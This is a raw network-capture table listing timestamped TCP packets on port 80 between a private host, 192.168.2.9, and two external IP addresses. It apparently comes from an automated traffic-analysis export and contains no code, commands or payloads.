Dec 23, 2024 17:16:47.627276897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.627945900 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.627985954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.628016949 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.628057003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.628818989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.628856897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.628946066 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.628984928 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.629548073 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.629586935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.629738092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.629776955 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.630398989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.630443096 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.630522013 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.630559921 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.631197929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.631248951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.631354094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.631396055 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.632014036 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.632091999 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.632096052 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.632129908 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.632833958 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.632886887 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.632940054 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.632980108 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.633635044 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.633680105 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.633747101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.633788109 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.634484053 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.634526014 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.634589911 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.634633064 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.635298014 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.635345936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.635493040 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.635528088 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.636123896 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.636167049 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.636243105 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.636292934 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.636921883 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.636967897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.637125969 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.637166977 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.637743950 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.637789011 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.637813091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.637850046 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.638565063 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.638619900 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.638648987 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.638694048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.639477968 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.639528990 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.639708042 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.639751911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.640283108 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.640326977 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.789300919 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.789351940 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.789386034 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.789422989 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.789637089 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.789678097 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.789829016 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.789870977 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.789942026 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.789983034 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.790594101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.790637016 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.790715933 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.790757895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.791424990 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.791466951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.791624069 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.791667938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.792227983 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.792272091 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.792346001 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.792390108 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.793117046 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.793162107 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.793241024 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.793282032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:47.793827057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:47.793870926 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:50.052588940 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:50.052898884 CET	49732	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:50.172631979 CET	80	49732	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:50.172717094 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:50.172813892 CET	49732	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:50.172813892 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:50.174418926 CET	49732	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:50.294383049 CET	80	49732	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:51.529263020 CET	80	49732	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:51.529331923 CET	49732	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:52.875206947 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:52.994893074 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:52.994973898 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:53.050570965 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:53.170289993 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326735020 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326751947 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326759100 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326766014 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326770067 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326776981 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326785088 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326836109 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.326872110 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.326922894 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326936007 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.326960087 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.326982021 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.327133894 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.327171087 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.448218107 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.448234081 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.448308945 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.452241898 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.452255964 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.452306986 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.520528078 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.520548105 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.520642042 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.525055885 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.525068998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.525121927 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.532469988 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.532535076 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.536645889 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.536659956 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.536699057 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.544490099 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.544509888 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.544542074 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.544554949 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.552257061 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.552268982 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.552304029 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.560192108 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.560205936 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.560244083 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.560267925 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.569194078 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.569207907 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.569262981 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.576766968 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.576780081 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.576873064 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.576873064 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.584544897 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.584558964 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.584580898 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.584598064 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.592231989 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.592267036 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.592303038 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.592319965 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.602178097 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.602200985 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.602250099 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.610176086 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.610239029 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.710907936 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.711026907 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.711072922 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.711116076 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.713103056 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.713169098 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.713216066 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.713255882 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.717905998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.717971087 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.717987061 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.718024969 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.722254038 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.722310066 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.722497940 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.722536087 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.727236032 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.727252007 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.727283955 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.727303982 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.731372118 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.731416941 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.732187986 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.732227087 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.736155033 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.736171961 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.736196995 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.736222029 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.740806103 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.740822077 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.740875959 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.745876074 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.745891094 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.745953083 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.749557018 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.749618053 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.749627113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.749661922 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.754987001 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.755002975 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.755027056 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.755043983 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.758909941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.758966923 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.759020090 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.759058952 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.763380051 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.763427973 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.763644934 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.763681889 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.767828941 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.767878056 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.767900944 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.767937899 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.772502899 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.772516012 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.772567034 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.772581100 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.778809071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.778824091 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.778856993 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.778875113 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.781848907 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.781893015 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.781930923 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.781968117 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.786072969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.786114931 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.786278009 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.786313057 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.790685892 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.790743113 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.790755033 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.790779114 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.795222998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.795281887 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.795286894 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.795341969 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.799845934 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.799889088 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.799904108 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.799931049 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.804472923 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.804546118 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.903311014 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.903376102 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.903419018 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.903464079 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.904954910 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.905004978 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.905080080 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.905123949 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.908529997 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.908586025 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.908709049 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.908710003 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.912139893 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.912194014 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.912229061 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.912270069 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.915779114 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.915828943 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.915895939 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.915939093 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.919229984 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.919281006 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.919373989 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.919415951 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.922550917 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.922604084 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.922667027 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.922704935 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.925882101 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.925931931 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.925997972 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.926039934 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.929291010 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.929354906 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.929373026 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.929419041 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.932471991 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.932517052 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.932518005 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.932564974 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.935693979 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.935739040 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.935914040 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.935952902 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.938934088 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.938977003 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.939007998 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.939052105 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.942116976 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.942162991 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.942289114 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.942331076 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.945343971 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.945388079 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.945451975 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.945493937 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.948519945 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.948565006 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.949065924 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.949105978 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.951787949 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.951828957 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.951967001 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.952008009 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.954920053 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.954962969 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.954962015 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.955008030 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.958046913 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.958093882 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.958168983 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.958209991 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.961436987 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.961488962 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.961569071 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.961616039 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.964492083 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.964539051 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.964648008 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.964689970 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.967782974 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.967832088 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.967952967 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.968023062 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.970928907 CET	80	49733	31.41.244.11	192.168.2.9
Dec 23, 2024 17:16:54.970973015 CET	49733	80	192.168.2.9	31.41.244.11
Dec 23, 2024 17:16:54.971227884 CET	80	49733	31.41.244.11	192.168.2.9
